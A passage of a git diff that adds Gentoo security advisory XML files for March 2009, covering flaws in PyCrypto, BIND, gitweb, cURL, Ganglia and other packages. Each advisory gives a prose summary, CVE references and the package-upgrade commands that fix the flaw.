+  <metadata tag="bugReady" timestamp="Fri, 06 Mar 2009 22:13:18 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-11.xml b/xml/htdocs/security/en/glsa/glsa-200903-11.xml
new file mode 100644
index 00000000..d8c71d98
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-11.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-11">
+  <title>PyCrypto: Execution of arbitrary code</title>
+  <synopsis>
+    A buffer overflow in PyCrypto might lead to the execution of arbitrary code
+    when decrypting using ARC2.
+  </synopsis>
+  <product type="ebuild">pycrypto</product>
+  <announced>March 09, 2009</announced>
+  <revised>March 09, 2009: 01</revised>
+  <bug>258049</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-python/pycrypto" auto="yes" arch="*">
+      <unaffected range="ge">2.0.1-r8</unaffected>
+      <vulnerable range="lt">2.0.1-r8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PyCrypto is the Python Cryptography Toolkit.
+    </p>
+  </background>
+  <description>
+    <p>
+    Mike Wiacek of the Google Security Team reported a buffer overflow in
+    the ARC2 module when processing a large ARC2 key length.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user or automated system to decrypt an
+    ARC2 stream in an application using PyCrypto, possibly resulting in the
+    execution of arbitrary code or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PyCrypto users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-python/pycrypto-2.0.1-r8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0544">CVE-2009-0544</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 07 Mar 2009 16:35:09 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 07 Mar 2009 18:22:46 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 07 Mar 2009 18:24:44 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-12.xml b/xml/htdocs/security/en/glsa/glsa-200903-12.xml
new file mode 100644
index 00000000..f7301ea3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-12.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-12">
+  <title>OptiPNG: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A vulnerability in OptiPNG might result in user-assisted execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">optipng</product>
+  <announced>March 09, 2009</announced>
+  <revised>March 09, 2009: 01</revised>
+  <bug>260265</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/optipng" auto="yes" arch="*">
+      <unaffected range="ge">0.6.2-r1</unaffected>
+      <vulnerable range="lt">0.6.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OptiPNG is a PNG optimizer that recompresses image files to a smaller
+    size, without losing any information.
+    </p>
+  </background>
+  <description>
+    <p>
+    Roy Tam reported a use-after-free vulnerability in the
+    GIFReadNextExtension() function in lib/pngxtern/gif/gifread.c leading
+    to a memory corruption when reading a GIF image.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to process a specially crafted
+    GIF image, possibly resulting in the execution of arbitrary code with
+    the privileges of the user running the application, or a Denial of
+    Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OptiPNG users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/optipng-0.6.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0749">CVE-2009-0749</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 07 Mar 2009 16:36:48 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 07 Mar 2009 18:09:51 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 07 Mar 2009 18:10:05 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-13.xml b/xml/htdocs/security/en/glsa/glsa-200903-13.xml
new file mode 100644
index 00000000..a424a5ca
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-13.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-13">
+  <title>MPFR: Denial of Service</title>
+  <synopsis>
+    Multiple buffer overflows in MPFR might lead to a Denial of Service.
+  </synopsis>
+  <product type="ebuild">mpfr</product>
+  <announced>March 09, 2009</announced>
+  <revised>March 09, 2009: 01</revised>
+  <bug>260968</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/mpfr" auto="yes" arch="*">
+      <unaffected range="ge">2.4.1</unaffected>
+      <vulnerable range="lt">2.4.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MPFR is a library for multiple-precision floating-point computations
+    with exact rounding.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple buffer overflows have been reported in the mpfr_snprintf() and
+    mpfr_vsnprintf() functions.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote user could exploit the vulnerability to cause a Denial of
+    Service in an application using MPFR via unknown vectors.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MPRF users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/mpfr-2.4.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0757">CVE-2009-0757</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 07 Mar 2009 16:35:53 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 07 Mar 2009 18:14:49 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 07 Mar 2009 18:14:57 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-14.xml b/xml/htdocs/security/en/glsa/glsa-200903-14.xml
new file mode 100644
index 00000000..5b6a14de
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-14.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-14">
+  <title>BIND: Incorrect signature verification</title>
+  <synopsis>
+    Incomplete verification of RSA and DSA certificates might lead to spoofed
+    records authenticated using DNSSEC.
+  </synopsis>
+  <product type="ebuild">bind</product>
+  <announced>March 09, 2009</announced>
+  <revised>March 09, 2009: 01</revised>
+  <bug>254134</bug>
+  <bug>257949</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dns/bind" auto="yes" arch="*">
+      <unaffected range="ge">9.4.3_p1</unaffected>
+      <vulnerable range="lt">9.4.3_p1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ISC BIND is the Internet Systems Consortium implementation of the
+    Domain Name System (DNS) protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    BIND does not properly check the return value from the OpenSSL
+    functions to verify DSA (CVE-2009-0025) and RSA (CVE-2009-0265)
+    certificates.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could bypass validation of the certificate chain to
+    spoof DNSSEC-authenticated records.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All BIND users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dns/bind-9.4.3_p1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0025">CVE-2009-0025</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0265">CVE-2009-0265</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 11 Jan 2009 17:55:00 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 09 Mar 2009 10:41:33 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 09 Mar 2009 10:41:40 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-15.xml b/xml/htdocs/security/en/glsa/glsa-200903-15.xml
new file mode 100644
index 00000000..bc95d87a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-15.xml
@@ -0,0 +1,86 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-15">
+  <title>git: Multiple vulnerabilties</title>
+  <synopsis>
+    Multiple vulnerabilities in gitweb allow for remote execution of arbitrary
+    commands.
+  </synopsis>
+  <product type="ebuild">git</product>
+  <announced>March 09, 2009</announced>
+  <revised>March 09, 2009: 01</revised>
+  <bug>251343</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-util/git" auto="yes" arch="*">
+      <unaffected range="ge">1.6.0.6</unaffected>
+      <vulnerable range="lt">1.6.0.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GIT - the stupid content tracker, the revision control system used by
+    the Linux kernel team.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been reported in gitweb that is part of
+    the git package:
+    </p>
+    <ul>
+    <li>
+    Shell metacharacters related to git_search are not properly sanitized
+    (CVE-2008-5516).
+    </li>
+    <li>
+    Shell metacharacters related to git_snapshot and git_object are not
+    properly sanitized (CVE-2008-5517).
+    </li>
+    <li>
+    The diff.external configuration variable as set in a repository can be
+    executed by gitweb (CVE-2008-5916).
+    </li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    A remote unauthenticated attacker can execute arbitrary commands via
+    shell metacharacters in a query, remote attackers with write access to
+    a git repository configuration can execute arbitrary commands with the
+    privileges of the user running gitweb by modifying the diff.external
+    configuration variable in the repository and sending a crafted query to
+    gitweb.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All git users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-util/git-1.6.0.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5516">CVE-2008-5516</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5517">CVE-2008-5517</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5916">CVE-2008-5916</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 11 Jan 2009 18:26:05 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 12 Feb 2009 18:42:55 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 12 Feb 2009 18:43:18 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-16.xml b/xml/htdocs/security/en/glsa/glsa-200903-16.xml
new file mode 100644
index 00000000..b5613d25
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-16.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-16">
+  <title>Epiphany: Untrusted search path</title>
+  <synopsis>
+    An untrusted search path vulnerability in Epiphany might result in the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">epiphany</product>
+  <announced>March 09, 2009</announced>
+  <revised>March 09, 2009: 01</revised>
+  <bug>257000</bug>
+  <access>local</access>
+  <affected>
+    <package name="www-client/epiphany" auto="yes" arch="*">
+      <unaffected range="ge">2.22.3-r2</unaffected>
+      <vulnerable range="lt">2.22.3-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Epiphany is a GNOME webbrowser based on the Mozilla rendering engine
+    Gecko.
+    </p>
+  </background>
+  <description>
+    <p>
+    James Vega reported an untrusted search path vulnerability in the
+    Python interface.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could entice a user to run Epiphany from a directory
+    containing a specially crafted python module, resulting in the
+    execution of arbitrary code with the privileges of the user running
+    Epiphany.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not run "epiphany" from untrusted working directories.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Epiphany users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/epiphany-2.22.3-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5985">CVE-2008-5985</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 07 Mar 2009 16:40:03 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 07 Mar 2009 18:06:14 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 07 Mar 2009 18:06:33 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-17.xml b/xml/htdocs/security/en/glsa/glsa-200903-17.xml
new file mode 100644
index 00000000..5386b2ca
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-17.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-17">
+  <title>Real VNC: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    The Real VNC client is vulnerable to execution of arbitrary code when
+    connecting to a malicious server.
+  </synopsis>
+  <product type="ebuild">vnc</product>
+  <announced>March 09, 2009</announced>
+  <revised>March 09, 2009: 01</revised>
+  <bug>255225</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/vnc" auto="yes" arch="*">
+      <unaffected range="ge">4.1.3</unaffected>
+      <vulnerable range="lt">4.1.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Real VNC is a remote desktop viewer display system.
+    </p>
+  </background>
+  <description>
+    <p>
+    An unspecified vulnerability has been discovered int the
+    CMsgReader::readRect() function in the VNC Viewer component, related to
+    the encoding type of RFB protocol data.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to connect to a malicious VNC
+    server, or leverage Man-in-the-Middle attacks, to cause the execution
+    of arbitrary code with the privileges of the user running the VNC
+    viewer.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Real VNC users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/vnc-4.1.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4770">CVE-2008-4770</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 28 Jan 2009 00:30:00 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 12 Feb 2009 16:35:19 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 12 Feb 2009 16:35:29 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-18.xml b/xml/htdocs/security/en/glsa/glsa-200903-18.xml
new file mode 100644
index 00000000..3e26da6e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-18.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-18">
+  <title>Openswan: Insecure temporary file creation</title>
+  <synopsis>
+    An insecure temporary file usage has been reported in Openswan, allowing
+    for symlink attacks.
+  </synopsis>
+  <product type="ebuild">openswan</product>
+  <announced>March 09, 2009</announced>
+  <revised>March 09, 2009: 01</revised>
+  <bug>238574</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-misc/openswan" auto="yes" arch="*">
+      <unaffected range="ge">2.4.13-r2</unaffected>
+      <vulnerable range="lt">2.4.13-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Openswan is an implementation of IPsec for Linux.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dmitry E. Oboukhov reported that the IPSEC livetest tool does not
+    handle the ipseclive.conn and ipsec.olts.remote.log temporary files
+    securely.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could perform symlink attacks to execute arbitrary
+    code and overwrite arbitrary files with the privileges of the user
+    running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Openswan users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/openswan-2.4.13-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4190">CVE-2008-4190</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 11 Jan 2009 18:17:28 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 12 Feb 2009 18:08:11 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 12 Feb 2009 18:08:22 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-19.xml b/xml/htdocs/security/en/glsa/glsa-200903-19.xml
new file mode 100644
index 00000000..810ea67d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-19.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-19">
+  <title>Xerces-C++: Denial of Service</title>
+  <synopsis>
+    An error in Xerces-C++ allows for a Denial of Service via malicious XML
+    schema files.
+  </synopsis>
+  <product type="ebuild">xerces-c</product>
+  <announced>March 09, 2009</announced>
+  <revised>March 09, 2009: 01</revised>
+  <bug>240496</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/xerces-c" auto="yes" arch="*">
+      <unaffected range="ge">3.0.0-r1</unaffected>
+      <vulnerable range="lt">3.0.0-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Xerces-C++ is a validating XML parser written in a portable subset of
+    C++.
+    </p>
+  </background>
+  <description>
+    <p>
+    Frank Rast reported that the XML parser in Xerces-C++ does not
+    correctly handle an XML schema definition with a large maxOccurs value,
+    which triggers excessive memory consumption during the validation of an
+    XML file.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user or automated system to validate
+    an XML file using a specially crafted XML schema file, leading to a
+    Denial of Service (stack consumption and crash).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Xerces-C++ users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/xerces-c-3.0.0-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4482">CVE-2008-4482</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 11 Jan 2009 17:39:39 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 12 Feb 2009 18:13:38 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 12 Feb 2009 18:13:55 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-20.xml b/xml/htdocs/security/en/glsa/glsa-200903-20.xml
new file mode 100644
index 00000000..86836237
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-20.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-20">
+  <title>WebSVN: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in WebSVN allow for file overwrite and information
+    disclosure.
+  </synopsis>
+  <product type="ebuild">websvn</product>
+  <announced>March 09, 2009</announced>
+  <revised>March 09, 2009: 01</revised>
+  <bug>243852</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/websvn" auto="yes" arch="*">
+      <unaffected range="ge">2.1.0</unaffected>
+      <vulnerable range="lt">2.1.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    WebSVN is a web-based browsing tool for Subversion repositories written
+    in PHP.
+    </p>
+  </background>
+  <description>
+    <ul>
+    <li>
+    James Bercegay of GulfTech Security reported a Cross-site scripting
+    (XSS) vulnerability in the getParameterisedSelfUrl() function in
+    index.php (CVE-2008-5918) and a directory traversal vulnerability in
+    rss.php when magic_quotes_gpc is disabled (CVE-2008-5919).
+    </li>
+    <li>
+    Bas van Schaik reported that listing.php does not properly enforce
+    access restrictions when using an SVN authz file to authenticate users
+    (CVE-2009-0240).
+    </li>
+    </ul> <p>
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker can exploit these vulnerabilities to overwrite
+    arbitrary files, to read changelogs or diffs for restricted projects
+    and to hijack a user's session.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All WebSVN users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/websvn-2.1.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5918">CVE-2008-5918</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5919">CVE-2008-5919</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0240">CVE-2009-0240</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 24 Jan 2009 11:43:28 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 12 Feb 2009 17:56:35 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 12 Feb 2009 17:56:41 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-21.xml b/xml/htdocs/security/en/glsa/glsa-200903-21.xml
new file mode 100644
index 00000000..21536e76
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-21.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-21">
+  <title>cURL: Arbitrary file access</title>
+  <synopsis>
+    A vulnerability in cURL may allow for arbitrary file access.
+  </synopsis>
+  <product type="ebuild">curl</product>
+  <announced>March 09, 2009</announced>
+  <revised>March 09, 2009: 01</revised>
+  <bug>260361</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/curl" auto="yes" arch="*">
+      <unaffected range="ge">7.19.4</unaffected>
+      <vulnerable range="lt">7.19.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    cURL is a command line tool for transferring files with URL syntax,
+    supporting numerous protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    David Kierznowski reported that the redirect implementation accepts
+    arbitrary Location values when CURLOPT_FOLLOWLOCATION is enabled.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could possibly exploit this vulnerability to make
+    remote HTTP servers trigger arbitrary requests to intranet servers and
+    read or overwrite arbitrary files via a redirect to a file: URL, or, if
+    the libssh2 USE flag is enabled, execute arbitrary commands via a
+    redirect to an scp: URL.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All cURL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/curl-7.19.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0037">CVE-2009-0037</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 05 Mar 2009 20:06:34 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 05 Mar 2009 23:20:10 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 06 Mar 2009 22:09:58 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200903-22.xml b/xml/htdocs/security/en/glsa/glsa-200903-22.xml
new file mode 100644
index 00000000..5a69554d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200903-22.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200903-22">
+  <title>Ganglia: Execution of arbitrary code</title>
+  <synopsis>
+    A buffer-overflow in Ganglia's gmetad might lead to the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">ganglia</product>
+  <announced>March 10, 2009</announced>
+  <revised>March 10, 2009: 01</revised>
+  <bug>255366</bug>
+  <access>remote</access>
+  <affected>
+    <package name="sys-cluster/ganglia" auto="yes" arch="*">
+      <unaffected range="ge">3.1.1-r2</unaffected>
+      <vulnerable range="lt">3.1.1-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ganglia is a scalable distributed monitoring system for clusters and
+    grids.
+    </p>
+  </background>
+  <description>
+    <p>
+    Spike Spiegel reported a stack-based buffer overflow in the
+    process_path() function when processing overly long pathnames in
+    gmetad/server.c.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send a specially crafted request to the gmetad
+    service leading to the execution of arbitrary code or a Denial of
+    Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ganglia users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-cluster/ganglia-3.1.1-r2&quot;</code>
+  </resolution>
+  <references>
